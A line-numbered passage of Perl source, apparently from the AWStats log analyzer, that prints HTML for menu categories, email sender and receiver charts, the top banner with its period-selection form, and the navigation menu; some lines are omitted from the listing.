if ( $pos_code < 0 ) {
9307
"Your personalized LogFormat does not include all fields required by AWStats (Add \%code in your LogFormat string)."
9310
# if ( $pos_size < 0 ) {
9312
#"Your personalized LogFormat does not include all fields required by AWStats (Add \%bytesd in your LogFormat string)."
9315
$PerlParsingFormat = qr/^$PerlParsingFormat/;
9316
if ($Debug) { debug(" PerlParsingFormat is $PerlParsingFormat"); }
9319
#------------------------------------------------------------------------------
9320
# Function: Prints a menu category for the frame or static header
9322
# Input: $categ, $categtext, $categicon, $frame, $targetpage, $linkanchor,
9323
# $NewLinkParams, $NewLinkTarget
9326
#------------------------------------------------------------------------------
9327
sub HTMLShowMenuCateg {
9328
my ( $categ, $categtext, $categicon, $frame, $targetpage, $linkanchor,
9329
$NewLinkParams, $NewLinkTarget )
9330
= ( shift, shift, shift, shift, shift, shift, shift, shift );
9331
$categicon = ''; # Comment this to enabme category icons
9332
my ( $menu, $menulink, $menutext ) = ( shift, shift, shift );
9335
# Call to plugins' function AddHTMLMenuLink
9336
foreach my $pluginname ( keys %{ $PluginsLoaded{'AddHTMLMenuLink'} } ) {
9338
# my $function="AddHTMLMenuLink_$pluginname('$categ',\$menu,\$menulink,\$menutext)";
9339
# eval("$function");
9340
my $function = "AddHTMLMenuLink_$pluginname";
9341
&$function( $categ, $menu, $menulink, $menutext );
9343
foreach my $key (%$menu) {
9344
if ( $menu->{$key} && $menu->{$key} > 0 ) { $linetitle++; last; }
9346
if ( !$linetitle ) { return; }
9348
# At least one entry in menu for this category, we can show category and entries
9349
my $WIDTHMENU1 = ( $FrameName eq 'mainleft' ? $FRAMEWIDTH : 150 );
9350
print "<tr><td class=\"awsm\" width=\"$WIDTHMENU1\""
9351
. ( $frame ? "" : " valign=\"top\"" ) . ">"
9352
. ( $categicon ? "<img src=\"$DirIcons/other/$categicon\" /> " : "" )
9353
. "<b>$categtext:</b></td>\n";
9354
print( $frame? "</tr>\n" : "<td class=\"awsm\">" );
9355
foreach my $key ( sort { $menu->{$a} <=> $menu->{$b} } keys %$menu ) {
9356
if ( $menu->{$key} == 0 ) { next; }
9357
if ( $menulink->{$key} == 1 ) {
9358
print( $frame? "<tr><td class=\"awsm\">" : "" );
9360
"<a href=\"$linkanchor#$key\"$targetpage>$menutext->{$key}</a>";
9361
print( $frame? "</td></tr>\n" : " " );
9363
if ( $menulink->{$key} == 2 ) {
9365
? "<tr><td class=\"awsm\"> <img height=\"8\" width=\"9\" src=\"$DirIcons/other/page.png\" alt=\"...\" /> "
9370
$ENV{'GATEWAY_INTERFACE'}
9372
? XMLEncode("$AWScript${NewLinkParams}output=$key")
9373
: "$StaticLinks.$key.$StaticExt"
9375
. "\"$NewLinkTarget>$menutext->{$key}</a>\n";
9376
print( $frame? "</td></tr>\n" : " " );
9379
print( $frame? "" : "</td></tr>\n" );
9382
#------------------------------------------------------------------------------
9383
# Function: Prints HTML to display an email senders chart
9385
# Input: $NewLinkParams, NewLinkTarget
9388
#------------------------------------------------------------------------------
9389
sub HTMLShowEmailSendersChart {
9390
my $NewLinkParams = shift;
9391
my $NewLinkTarget = shift;
9392
my $MaxLengthOfShownEMail = 48;
9405
#&ShowFormFilter("emailsfilter",$EmailsFilter);
9408
print "$Center<a name=\"emailsenders\"> </a><br />\n";
9410
if ( $HTMLOutput{'allemails'} || $HTMLOutput{'lastemails'} ) {
9411
$title = "$Message[131]";
9415
"$Message[131] ($Message[77] $MaxNbOf{'EMailsShown'}) - <a href=\""
9417
$ENV{'GATEWAY_INTERFACE'}
9419
? XMLEncode("$AWScript${NewLinkParams}output=allemails")
9420
: "$StaticLinks.allemails.$StaticExt"
9422
. "\"$NewLinkTarget>$Message[80]</a>";
9423
if ( $ShowEMailSenders =~ /L/i ) {
9424
$title .= " - <a href=\""
9426
$ENV{'GATEWAY_INTERFACE'}
9428
? XMLEncode("$AWScript${NewLinkParams}output=lastemails")
9429
: "$StaticLinks.lastemails.$StaticExt"
9431
. "\"$NewLinkTarget>$Message[9]</a>";
9434
&tab_head( "$title", 19, 0, 'emailsenders' );
9436
"<tr bgcolor=\"#$color_TableBGRowTitle\"><th colspan=\"3\">$Message[131] : "
9437
. ( scalar keys %_emails_h ) . "</th>";
9438
if ( $ShowEMailSenders =~ /H/i ) {
9439
print "<th rowspan=\"2\" bgcolor=\"#$color_h\" width=\"80\""
9441
. ">$Message[57]</th>";
9443
if ( $ShowEMailSenders =~ /B/i ) {
9445
"<th class=\"datasize\" rowspan=\"2\" bgcolor=\"#$color_k\" width=\"80\""
9447
. ">$Message[75]</th>";
9449
if ( $ShowEMailSenders =~ /M/i ) {
9451
"<th rowspan=\"2\" bgcolor=\"#$color_k\" width=\"80\">$Message[106]</th>";
9453
if ( $ShowEMailSenders =~ /L/i ) {
9454
print "<th rowspan=\"2\" width=\"120\">$Message[9]</th>";
9458
"<tr bgcolor=\"#$color_TableBGRowTitle\"><th width=\"30%\">Local</th><th> </th><th width=\"30%\">External</th></tr>";
9459
$total_p = $total_h = $total_k = 0;
9461
foreach ( values %_emails_h ) {
9462
if ( $_ > $max_h ) { $max_h = $_; }
9465
foreach ( values %_emails_k ) {
9466
if ( $_ > $max_k ) { $max_k = $_; }
9469
if ( !$HTMLOutput{'allemails'} && !$HTMLOutput{'lastemails'} ) {
9470
&BuildKeyList( $MaxNbOf{'EMailsShown'}, $MinHit{'EMail'}, \%_emails_h,
9473
if ( $HTMLOutput{'allemails'} ) {
9474
&BuildKeyList( $MaxRowsInHTMLOutput, $MinHit{'EMail'}, \%_emails_h,
9477
if ( $HTMLOutput{'lastemails'} ) {
9478
&BuildKeyList( $MaxRowsInHTMLOutput, $MinHit{'EMail'}, \%_emails_h,
9481
foreach my $key (@keylist) {
9483
if ( length($key) > $MaxLengthOfShownEMail ) {
9484
$newkey = substr( $key, 0, $MaxLengthOfShownEMail ) . "...";
9489
$bredde_h = int( $BarWidth * $_emails_h{$key} / $max_h ) + 1;
9492
$bredde_k = int( $BarWidth * $_emails_k{$key} / $max_k ) + 1;
9495
my $direction = IsLocalEMail($key);
9497
if ( $direction > 0 ) {
9498
print "<td class=\"aws\">$newkey</td><td>-></td><td> </td>";
9500
if ( $direction == 0 ) {
9502
"<td colspan=\"3\"><span style=\"color: #$color_other\">$newkey</span></td>";
9504
if ( $direction < 0 ) {
9505
print "<td class=\"aws\"> </td><td><-</td><td>$newkey</td>";
9507
if ( $ShowEMailSenders =~ /H/i ) { print "<td>$_emails_h{$key}</td>"; }
9508
if ( $ShowEMailSenders =~ /B/i ) {
9509
print "<td nowrap=\"nowrap\">"
9510
. Format_Bytes( $_emails_k{$key} ) . "</td>";
9512
if ( $ShowEMailSenders =~ /M/i ) {
9513
print "<td nowrap=\"nowrap\">"
9514
. Format_Bytes( $_emails_k{$key} / ( $_emails_h{$key} || 1 ) )
9517
if ( $ShowEMailSenders =~ /L/i ) {
9518
print "<td nowrap=\"nowrap\">"
9519
. ( $_emails_l{$key} ? Format_Date( $_emails_l{$key}, 1 ) : '-' )
9524
#$total_p += $_emails_p{$key};
9525
$total_h += $_emails_h{$key};
9526
$total_k += $_emails_k{$key};
9529
$rest_p = 0; # $rest_p=$TotalPages-$total_p;
9530
$rest_h = $TotalHits - $total_h;
9531
$rest_k = $TotalBytes - $total_k;
9532
if ( $rest_p > 0 || $rest_h > 0 || $rest_k > 0 ) { # All other sender emails
9534
"<tr><td colspan=\"3\"><span style=\"color: #$color_other\">$Message[2]</span></td>";
9535
if ( $ShowEMailSenders =~ /H/i ) { print "<td>$rest_h</td>"; }
9536
if ( $ShowEMailSenders =~ /B/i ) {
9537
print "<td nowrap=\"nowrap\">" . Format_Bytes($rest_k) . "</td>";
9539
if ( $ShowEMailSenders =~ /M/i ) {
9540
print "<td nowrap=\"nowrap\">"
9541
. Format_Bytes( $rest_k / ( $rest_h || 1 ) ) . "</td>";
9543
if ( $ShowEMailSenders =~ /L/i ) { print "<td> </td>"; }
9549
#------------------------------------------------------------------------------
9550
# Function: Prints HTML to display an email receivers chart
9552
# Input: $NewLinkParams, NewLinkTarget
9555
#------------------------------------------------------------------------------
9556
sub HTMLShowEmailReceiversChart {
9557
my $NewLinkParams = shift;
9558
my $NewLinkTarget = shift;
9559
my $MaxLengthOfShownEMail = 48;
9572
#&ShowFormFilter("emailrfilter",$EmailrFilter);
9575
print "$Center<a name=\"emailreceivers\"> </a><br />\n";
9577
if ( $HTMLOutput{'allemailr'} || $HTMLOutput{'lastemailr'} ) {
9578
$title = "$Message[132]";
9582
"$Message[132] ($Message[77] $MaxNbOf{'EMailsShown'}) - <a href=\""
9584
$ENV{'GATEWAY_INTERFACE'}
9586
? XMLEncode("$AWScript${NewLinkParams}output=allemailr")
9587
: "$StaticLinks.allemailr.$StaticExt"
9589
. "\"$NewLinkTarget>$Message[80]</a>";
9590
if ( $ShowEMailReceivers =~ /L/i ) {
9591
$title .= " - <a href=\""
9593
$ENV{'GATEWAY_INTERFACE'}
9595
? XMLEncode("$AWScript${NewLinkParams}output=lastemailr")
9596
: "$StaticLinks.lastemailr.$StaticExt"
9598
. "\"$NewLinkTarget>$Message[9]</a>";
9601
&tab_head( "$title", 19, 0, 'emailreceivers' );
9603
"<tr bgcolor=\"#$color_TableBGRowTitle\"><th colspan=\"3\">$Message[132] : "
9604
. ( scalar keys %_emailr_h ) . "</th>";
9605
if ( $ShowEMailReceivers =~ /H/i ) {
9606
print "<th rowspan=\"2\" bgcolor=\"#$color_h\" width=\"80\""
9608
. ">$Message[57]</th>";
9610
if ( $ShowEMailReceivers =~ /B/i ) {
9612
"<th class=\"datasize\" rowspan=\"2\" bgcolor=\"#$color_k\" width=\"80\""
9614
. ">$Message[75]</th>";
9616
if ( $ShowEMailReceivers =~ /M/i ) {
9618
"<th rowspan=\"2\" bgcolor=\"#$color_k\" width=\"80\">$Message[106]</th>";
9620
if ( $ShowEMailReceivers =~ /L/i ) {
9621
print "<th rowspan=\"2\" width=\"120\">$Message[9]</th>";
9625
"<tr bgcolor=\"#$color_TableBGRowTitle\"><th width=\"30%\">Local</th><th> </th><th width=\"30%\">External</th></tr>";
9626
$total_p = $total_h = $total_k = 0;
9628
foreach ( values %_emailr_h ) {
9629
if ( $_ > $max_h ) { $max_h = $_; }
9632
foreach ( values %_emailr_k ) {
9633
if ( $_ > $max_k ) { $max_k = $_; }
9636
if ( !$HTMLOutput{'allemailr'} && !$HTMLOutput{'lastemailr'} ) {
9637
&BuildKeyList( $MaxNbOf{'EMailsShown'}, $MinHit{'EMail'}, \%_emailr_h,
9640
if ( $HTMLOutput{'allemailr'} ) {
9641
&BuildKeyList( $MaxRowsInHTMLOutput, $MinHit{'EMail'}, \%_emailr_h,
9644
if ( $HTMLOutput{'lastemailr'} ) {
9645
&BuildKeyList( $MaxRowsInHTMLOutput, $MinHit{'EMail'}, \%_emailr_h,
9648
foreach my $key (@keylist) {
9650
if ( length($key) > $MaxLengthOfShownEMail ) {
9651
$newkey = substr( $key, 0, $MaxLengthOfShownEMail ) . "...";
9656
$bredde_h = int( $BarWidth * $_emailr_h{$key} / $max_h ) + 1;
9659
$bredde_k = int( $BarWidth * $_emailr_k{$key} / $max_k ) + 1;
9662
my $direction = IsLocalEMail($key);
9664
if ( $direction > 0 ) {
9665
print "<td class=\"aws\">$newkey</td><td><-</td><td> </td>";
9667
if ( $direction == 0 ) {
9669
"<td colspan=\"3\"><span style=\"color: #$color_other\">$newkey</span></td>";
9671
if ( $direction < 0 ) {
9672
print "<td class=\"aws\"> </td><td>-></td><td>$newkey</td>";
9674
if ( $ShowEMailReceivers =~ /H/i ) {
9675
print "<td>$_emailr_h{$key}</td>";
9677
if ( $ShowEMailReceivers =~ /B/i ) {
9678
print "<td nowrap=\"nowrap\">"
9679
. Format_Bytes( $_emailr_k{$key} ) . "</td>";
9681
if ( $ShowEMailReceivers =~ /M/i ) {
9682
print "<td nowrap=\"nowrap\">"
9683
. Format_Bytes( $_emailr_k{$key} / ( $_emailr_h{$key} || 1 ) )
9686
if ( $ShowEMailReceivers =~ /L/i ) {
9687
print "<td nowrap=\"nowrap\">"
9688
. ( $_emailr_l{$key} ? Format_Date( $_emailr_l{$key}, 1 ) : '-' )
9693
#$total_p += $_emailr_p{$key};
9694
$total_h += $_emailr_h{$key};
9695
$total_k += $_emailr_k{$key};
9698
$rest_p = 0; # $rest_p=$TotalPages-$total_p;
9699
$rest_h = $TotalHits - $total_h;
9700
$rest_k = $TotalBytes - $total_k;
9701
if ( $rest_p > 0 || $rest_h > 0 || $rest_k > 0 )
9702
{ # All other receiver emails
9704
"<tr><td colspan=\"3\"><span style=\"color: #$color_other\">$Message[2]</span></td>";
9705
if ( $ShowEMailReceivers =~ /H/i ) { print "<td>$rest_h</td>"; }
9706
if ( $ShowEMailReceivers =~ /B/i ) {
9707
print "<td nowrap=\"nowrap\">" . Format_Bytes($rest_k) . "</td>";
9709
if ( $ShowEMailReceivers =~ /M/i ) {
9710
print "<td nowrap=\"nowrap\">"
9711
. Format_Bytes( $rest_k / ( $rest_h || 1 ) ) . "</td>";
9713
if ( $ShowEMailReceivers =~ /L/i ) { print "<td> </td>"; }
9719
#------------------------------------------------------------------------------
9720
# Function: Prints the top banner of the inner frame or static page
9721
# Parameters: $WIDTHMENU1
9725
#------------------------------------------------------------------------------
9727
my $WIDTHMENU1 = shift;
9728
my $frame = ( $FrameName eq 'mainleft' );
9730
if ($Debug) { debug( "ShowTopBan", 2 ); }
9731
print "$Center<a name=\"menu\"> </a>\n";
9733
if ( $FrameName ne 'mainleft' ) {
9734
my $NewLinkParams = ${QueryString};
9735
$NewLinkParams =~ s/(^|&|&)update(=\w*|$)//i;
9736
$NewLinkParams =~ s/(^|&|&)staticlinks(=\w*|$)//i;
9737
$NewLinkParams =~ s/(^|&|&)year=[^&]*//i;
9738
$NewLinkParams =~ s/(^|&|&)month=[^&]*//i;
9739
$NewLinkParams =~ s/(^|&|&)framename=[^&]*//i;
9740
$NewLinkParams =~ s/(&|&)+/&/i;
9741
$NewLinkParams =~ s/^&//;
9742
$NewLinkParams =~ s/&$//;
9743
my $NewLinkTarget = '';
9745
if ( $FrameName eq 'mainright' ) {
9746
$NewLinkTarget = " target=\"_parent\"";
9748
print "<form name=\"FormDateFilter\" action=\""
9749
. XMLEncode("$AWScript${NewLinkParams}")
9750
. "\" style=\"padding: 0px 0px 0px 0px; margin-top: 0\"$NewLinkTarget>\n";
9753
if ( $QueryString !~ /buildpdf/i ) {
9755
"<table class=\"aws_border\" border=\"0\" cellpadding=\"2\" cellspacing=\"0\" width=\"100%\">\n";
9758
"<table class=\"aws_data sortable\" border=\"0\" cellpadding=\"1\" cellspacing=\"0\" width=\"100%\">\n";
9761
print "<table width=\"100%\">\n";
9764
if ( $FrameName ne 'mainright' ) {
9766
# Print Statistics Of
9767
if ( $FrameName eq 'mainleft' ) {
9768
my $shortSiteDomain = $SiteDomain;
9769
if ( length($SiteDomain) > 30 ) {
9771
substr( $SiteDomain, 0, 20 ) . "..."
9772
. substr( $SiteDomain, length($SiteDomain) - 5, 5 );
9775
"<tr><td class=\"awsm\"><b>$Message[7]:</b></td></tr><tr><td class=\"aws\"><span style=\"font-size: 12px;\">$shortSiteDomain</span></td>";
9779
"<tr><td class=\"aws\" valign=\"middle\"><b>$Message[7]:</b> </td><td class=\"aws\" valign=\"middle\"><span style=\"font-size: 14px;\">$SiteDomain</span></td>";
9783
if ( $FrameName ne 'mainleft' ) {
9784
if ( $LogoLink =~ "http://awstats.sourceforge.net" ) {
9785
print "<td align=\"right\" rowspan=\"3\"><a href=\""
9786
. XMLEncode($LogoLink)
9787
. "\" target=\"awstatshome\"><img src=\"$DirIcons/other/$Logo\" border=\"0\""
9788
. AltTitle( ucfirst($PROG) . " Web Site" )
9792
print "<td align=\"right\" rowspan=\"3\"><a href=\""
9793
. XMLEncode($LogoLink)
9794
. "\" target=\"awstatshome\"><img src=\"$DirIcons/other/$Logo\" border=\"0\" /></a>";
9796
if ( !$StaticLinks ) { print "<br />"; Show_Flag_Links($Lang); }
9801
if ( $FrameName ne 'mainleft' ) {
9805
"<tr valign=\"middle\"><td class=\"aws\" valign=\"middle\" width=\"$WIDTHMENU1\"><b>$Message[35]:</b> </td>";
9807
"<td class=\"aws\" valign=\"middle\"><span style=\"font-size: 12px;\">";
9808
if ($LastUpdate) { print Format_Date( $LastUpdate, 0 ); }
9811
# Here NbOfOldLines = 0 (because LastUpdate is not defined)
9812
if ( !$UpdateStats ) {
9813
print "<span style=\"color: #880000\">$Message[24]</span>";
9817
"<span style=\"color: #880000\">No qualified records found in log
9818
($NbOfLinesCorrupted corrupted, $NbOfLinesComment comments, $NbOfLinesBlank Blank,
9819
$NbOfLinesDropped dropped)</span>";
9824
# Print Update Now link
9825
if ( $AllowToUpdateStatsFromBrowser && !$StaticLinks ) {
9826
my $NewLinkParams = ${QueryString};
9827
$NewLinkParams =~ s/(^|&|&)update(=\w*|$)//i;
9828
$NewLinkParams =~ s/(^|&|&)staticlinks(=\w*|$)//i;
9829
$NewLinkParams =~ s/(^|&|&)framename=[^&]*//i;
9830
if ( $FrameName eq 'mainright' ) {
9831
$NewLinkParams .= "&framename=mainright";
9833
$NewLinkParams =~ s/(&|&)+/&/i;
9834
$NewLinkParams =~ s/^&//;
9835
$NewLinkParams =~ s/&$//;
9836
if ($NewLinkParams) {
9837
$NewLinkParams = "${NewLinkParams}&";
9839
print " ";
9841
. XMLEncode("$AWScript${NewLinkParams}update=1")
9842
. "\">$Message[74]</a>";
9847
if ( $FrameName eq 'mainright' ) {
9848
if ( $LogoLink =~ "http://awstats.sourceforge.net" ) {
9849
print "<td align=\"right\" rowspan=\"2\"><a href=\""
9850
. XMLEncode($LogoLink)
9851
. "\" target=\"awstatshome\"><img src=\"$DirIcons/other/$Logo\" border=\"0\""
9852
. AltTitle( ucfirst($PROG) . " Web Site" )
9856
print "<td align=\"right\" rowspan=\"2\"><a href=\""
9857
. XMLEncode($LogoLink)
9858
. "\" target=\"awstatshome\"><img src=\"$DirIcons/other/$Logo\" border=\"0\" /></a>\n";
9860
if ( !$StaticLinks ) { print "<br />"; Show_Flag_Links($Lang); }
9866
# Print selected period of analysis (month and year required)
9868
"<tr><td class=\"aws\" valign=\"middle\"><b>$Message[133]:</b></td>";
9869
print "<td class=\"aws\" valign=\"middle\">";
9870
if ( $ENV{'GATEWAY_INTERFACE'} || !$StaticLinks ) {
9871
print "<select class=\"aws_formfield\" name=\"month\">\n";
9872
foreach ( 1 .. 12 ) {
9873
my $monthix = sprintf( "%02s", $_ );
9876
"$MonthRequired" eq "$monthix"
9877
? " selected=\"true\""
9880
. " value=\"$monthix\">$MonthNumLib{$monthix}</option>\n";
9882
if ( $AllowFullYearView >= 2 ) {
9884
. ( $MonthRequired eq 'all' ? " selected=\"selected\"" : "" )
9885
. " value=\"all\">- $Message[6] -</option>\n";
9887
print "</select>\n";
9888
print "<select class=\"aws_formfield\" name=\"year\">\n";
9890
# Add YearRequired in list if not in ListOfYears
9891
$ListOfYears{$YearRequired} ||= $MonthRequired;
9892
foreach ( sort keys %ListOfYears ) {
9894
. ( $YearRequired eq "$_" ? " selected=\"selected\"" : "" )
9895
. " value=\"$_\">$_</option>\n";
9897
print "</select>\n";
9898
print "<input type=\"hidden\" name=\"output\" value=\""
9899
. join( ',', keys %HTMLOutput )
9903
"<input type=\"hidden\" name=\"config\" value=\"$SiteConfig\" />\n";
9907
"<input type=\"hidden\" name=\"configdir\" value=\"$DirConfig\" />\n";
9909
if ( $QueryString =~ /lang=(\w+)/i ) {
9911
"<input type=\"hidden\" name=\"lang\" value=\"$1\" />\n";
9913
if ( $QueryString =~ /debug=(\d+)/i ) {
9915
"<input type=\"hidden\" name=\"debug\" value=\"$1\" />\n";
9917
if ( $FrameName eq 'mainright' ) {
9919
"<input type=\"hidden\" name=\"framename\" value=\"index\" />\n";
9922
"<input type=\"submit\" value=\" $Message[115] \" class=\"aws_button\" />";
9925
print "<span style=\"font-size: 14px;\">";
9926
if ($DayRequired) { print "$Message[4] $DayRequired - "; }
9927
if ( $MonthRequired eq 'all' ) {
9928
print "$Message[6] $YearRequired";
9932
"$Message[5] $MonthNumLib{$MonthRequired} $YearRequired";
9936
print "</td></tr>\n";
9938
if ( $QueryString !~ /buildpdf/i ) {
9940
print "</td></tr></table>\n";
9946
if ( $FrameName ne 'mainleft' ) { print "</form>\n"; }
9947
else { print "<br />\n"; }
9951
#------------------------------------------------------------------------------
9952
# Function: Prints the menu in a frame or below the top banner
9957
#------------------------------------------------------------------------------
9959
my $NewLinkParams = shift;
9960
my $NewLinkTarget = shift;
9961
my $frame = ( $FrameName eq 'mainleft' );
9963
if ($Debug) { debug( "ShowMenu", 2 ); }
9966
if ( ( $HTMLOutput{'main'} && $FrameName ne 'mainright' )
9967
|| $FrameName eq 'mainleft' )
9968
{ # If main page asked
9969
# Define link anchor
9971
( $FrameName eq 'mainleft' ? "$AWScript${NewLinkParams}" : "" );
9972
if ( $linkanchor && ( $linkanchor !~ /framename=mainright/ ) ) {
9973
$linkanchor .= "framename=mainright";
9975
$linkanchor =~ s/(&|&)$//;
9976
$linkanchor = XMLEncode("$linkanchor");
9980
( $FrameName eq 'mainleft' ? " target=\"mainright\"" : "" );
9983
my $linetitle; # TODO a virer
9984
if ( !$PluginsLoaded{'ShowMenu'}{'menuapplet'} ) {
9985
my $menuicon = 0; # TODO a virer
9990
? " cellspacing=\"0\" cellpadding=\"0\" border=\"0\""
9994
if ( $FrameName eq 'mainleft' && $ShowMonthStats ) {
9995
print( $frame? "<tr><td class=\"awsm\">" : "" );
9997
"<a href=\"$linkanchor#top\"$targetpage>$Message[128]</a>";
9998
print( $frame? "</td></tr>\n" : " " );
10006
'month' => $ShowMonthStats ? 1 : 0,
10007
'daysofmonth' => $ShowDaysOfMonthStats ? 2 : 0,
10008
'daysofweek' => $ShowDaysOfWeekStats ? 3 : 0,
10009
'hours' => $ShowHoursStats ? 4 : 0
10013
'daysofmonth' => 1,
10018
'month' => $Message[162],
10019
'daysofmonth' => $Message[138],
10020
'daysofweek' => $Message[91],
10021
'hours' => $Message[20]
10024
'when', $Message[93],
10025
'menu4.png', $frame,
10026
$targetpage, $linkanchor,
10027
$NewLinkParams, $NewLinkTarget,
10028
\%menu, \%menulink,
10034
'countries' => $ShowDomainsStats ? 1 : 0,
10035
'alldomains' => $ShowDomainsStats ? 2 : 0,
10036
'visitors' => $ShowHostsStats ? 3 : 0,
10037
'allhosts' => $ShowHostsStats ? 4 : 0,
10038
'lasthosts' => ( $ShowHostsStats =~ /L/i ) ? 5 : 0,
10039
'unknownip' => $ShowHostsStats ? 6 : 0,
10040
'logins' => $ShowAuthenticatedUsers ? 7 : 0,
10041
'alllogins' => $ShowAuthenticatedUsers ? 8 : 0,
10042
'lastlogins' => ( $ShowAuthenticatedUsers =~ /L/i ) ? 9 : 0,
10043
'emailsenders' => $ShowEMailSenders ? 10 : 0,
10044
'allemails' => $ShowEMailSenders ? 11 : 0,
10045
'lastemails' => ( $ShowEMailSenders =~ /L/i ) ? 12 : 0,
10046
'emailreceivers' => $ShowEMailReceivers ? 13 : 0,
10047
'allemailr' => $ShowEMailReceivers ? 14 : 0,
10048
'lastemailr' => ( $ShowEMailReceivers =~ /L/i ) ? 15 : 0,
10049
'robots' => $ShowRobotsStats ? 16 : 0,
10050
'allrobots' => $ShowRobotsStats ? 17 : 0,
10051
'lastrobots' => ( $ShowRobotsStats =~ /L/i ) ? 18 : 0,
10052
'worms' => $ShowWormsStats ? 19 : 0
10064
'emailsenders' => 1,
10067
'emailreceivers' => 1,
10076
'countries' => $Message[148],
10077
'alldomains' => $Message[80],
10078
'visitors' => $Message[81],
10079
'allhosts' => $Message[80],
10080
'lasthosts' => $Message[9],
10081
'unknownip' => $Message[45],
10082
'logins' => $Message[94],
10083
'alllogins' => $Message[80],
10084
'lastlogins' => $Message[9],
10085
'emailsenders' => $Message[131],
10086
'allemails' => $Message[80],
10087
'lastemails' => $Message[9],
10088
'emailreceivers' => $Message[132],
10089
'allemailr' => $Message[80],
10090
'lastemailr' => $Message[9],
10091
'robots' => $Message[53],
10092
'allrobots' => $Message[80],
10093
'lastrobots' => $Message[9],
10094
'worms' => $Message[136]
10097
'who', $Message[92],
10098
'menu5.png', $frame,
10099
$targetpage, $linkanchor,
10100
$NewLinkParams, $NewLinkTarget,
10101
\%menu, \%menulink,
10106
$linetitle = &AtLeastOneNotNull(
10107
$ShowSessionsStats, $ShowPagesStats,
10108
$ShowFileTypesStats, $ShowFileSizesStats,
10109
$ShowOSStats, $ShowBrowsersStats,
10110
$ShowScreenSizeStats, $ShowDownloadsStats
10113
print "<tr><td class=\"awsm\""
10114
. ( $frame ? "" : " valign=\"top\"" ) . ">"
10117
? "<img src=\"$DirIcons/other/menu2.png\" /> "
10120
. "<b>$Message[72]:</b></td>\n";
10123
print( $frame? "</tr>\n" : "<td class=\"awsm\">" );
10125
if ($ShowSessionsStats) {
10126
print( $frame? "<tr><td class=\"awsm\">" : "" );
10128
"<a href=\"$linkanchor#sessions\"$targetpage>$Message[117]</a>";
10129
print( $frame? "</td></tr>\n" : " " );
10131
if ($ShowFileTypesStats && $LevelForFileTypesDetection > 0) {
10132
print( $frame? "<tr><td class=\"awsm\">" : "" );
10134
"<a href=\"$linkanchor#filetypes\"$targetpage>$Message[73]</a>";
10135
print( $frame? "</td></tr>\n" : " " );
10137
if ($ShowDownloadsStats && $LevelForFileTypesDetection > 0) {
10138
print( $frame? "<tr><td class=\"awsm\">" : "" );
10140
"<a href=\"$linkanchor#downloads\"$targetpage>$Message[178]</a>";
10141
print( $frame? "</td></tr>\n" : " " );
10143
? "<tr><td class=\"awsm\"> <img height=\"8\" width=\"9\" src=\"$DirIcons/other/page.png\" alt=\"...\" /> "
10148
$ENV{'GATEWAY_INTERFACE'} || !$StaticLinks
10150
"$AWScript${NewLinkParams}output=downloads")
10151
: "$StaticLinks.downloads.$StaticExt"
10153
. "\"$NewLinkTarget>$Message[80]</a>\n";
10154
print( $frame? "</td></tr>\n" : " " );
10156
if ($ShowPagesStats) {
10157
print( $frame? "<tr><td class=\"awsm\">" : "" );
10159
"<a href=\"$linkanchor#urls\"$targetpage>$Message[29]</a>\n";
10160
print( $frame? "</td></tr>\n" : " " );
10162
if ($ShowPagesStats) {
10164
? "<tr><td class=\"awsm\"> <img height=\"8\" width=\"9\" src=\"$DirIcons/other/page.png\" alt=\"...\" /> "
10169
$ENV{'GATEWAY_INTERFACE'} || !$StaticLinks
10171
"$AWScript${NewLinkParams}output=urldetail")
10172
: "$StaticLinks.urldetail.$StaticExt"
10174
. "\"$NewLinkTarget>$Message[80]</a>\n";
10175
print( $frame? "</td></tr>\n" : " " );
10177
if ( $ShowPagesStats =~ /E/i ) {
10179
? "<tr><td class=\"awsm\"> <img height=\"8\" width=\"9\" src=\"$DirIcons/other/page.png\" alt=\"...\" /> "
10184
$ENV{'GATEWAY_INTERFACE'} || !$StaticLinks
10186
"$AWScript${NewLinkParams}output=urlentry")
10187
: "$StaticLinks.urlentry.$StaticExt"
10189
. "\"$NewLinkTarget>$Message[104]</a>\n";
10190
print( $frame? "</td></tr>\n" : " " );
10192
if ( $ShowPagesStats =~ /X/i ) {
10194
? "<tr><td class=\"awsm\"> <img height=\"8\" width=\"9\" src=\"$DirIcons/other/page.png\" alt=\"...\" /> "
10199
$ENV{'GATEWAY_INTERFACE'}
10201
? XMLEncode("$AWScript${NewLinkParams}output=urlexit")
10202
: "$StaticLinks.urlexit.$StaticExt"
10204
. "\"$NewLinkTarget>$Message[116]</a>\n";
10205
print( $frame? "</td></tr>\n" : " " );
10207
if ($ShowOSStats) {
10208
print( $frame? "<tr><td class=\"awsm\">" : "" );
10210
"<a href=\"$linkanchor#os\"$targetpage>$Message[59]</a>";
10211
print( $frame? "</td></tr>\n" : " " );
10213
if ($ShowOSStats) {
10215
? "<tr><td class=\"awsm\"> <img height=\"8\" width=\"9\" src=\"$DirIcons/other/page.png\" alt=\"...\" /> "
10220
$ENV{'GATEWAY_INTERFACE'} || !$StaticLinks
10222
"$AWScript${NewLinkParams}output=osdetail")
10223
: "$StaticLinks.osdetail.$StaticExt"
10225
. "\"$NewLinkTarget>$Message[58]</a>\n";
10226
print( $frame? "</td></tr>\n" : " " );
10228
if ($ShowOSStats) {
10230
? "<tr><td class=\"awsm\"> <img height=\"8\" width=\"9\" src=\"$DirIcons/other/page.png\" alt=\"...\" /> "
10235
$ENV{'GATEWAY_INTERFACE'} || !$StaticLinks
10237
"$AWScript${NewLinkParams}output=unknownos")
10238
: "$StaticLinks.unknownos.$StaticExt"
10240
. "\"$NewLinkTarget>$Message[0]</a>\n";
10241
print( $frame? "</td></tr>\n" : " " );
10243
if ($ShowBrowsersStats) {
10244
print( $frame? "<tr><td class=\"awsm\">" : "" );
10246
"<a href=\"$linkanchor#browsers\"$targetpage>$Message[21]</a>";
10247
print( $frame? "</td></tr>\n" : " " );
10249
if ($ShowBrowsersStats) {
10251
? "<tr><td class=\"awsm\"> <img height=\"8\" width=\"9\" src=\"$DirIcons/other/page.png\" alt=\"...\" /> "
10256
$ENV{'GATEWAY_INTERFACE'} || !$StaticLinks
10258
"$AWScript${NewLinkParams}output=browserdetail")
10259
: "$StaticLinks.browserdetail.$StaticExt"
10261
. "\"$NewLinkTarget>$Message[58]</a>\n";
10262
print( $frame? "</td></tr>\n" : " " );
10264
if ($ShowBrowsersStats) {
10266
? "<tr><td class=\"awsm\"> <img height=\"8\" width=\"9\" src=\"$DirIcons/other/page.png\" alt=\"...\" /> "
10271
$ENV{'GATEWAY_INTERFACE'} || !$StaticLinks
10273
"$AWScript${NewLinkParams}output=unknownbrowser")
10274
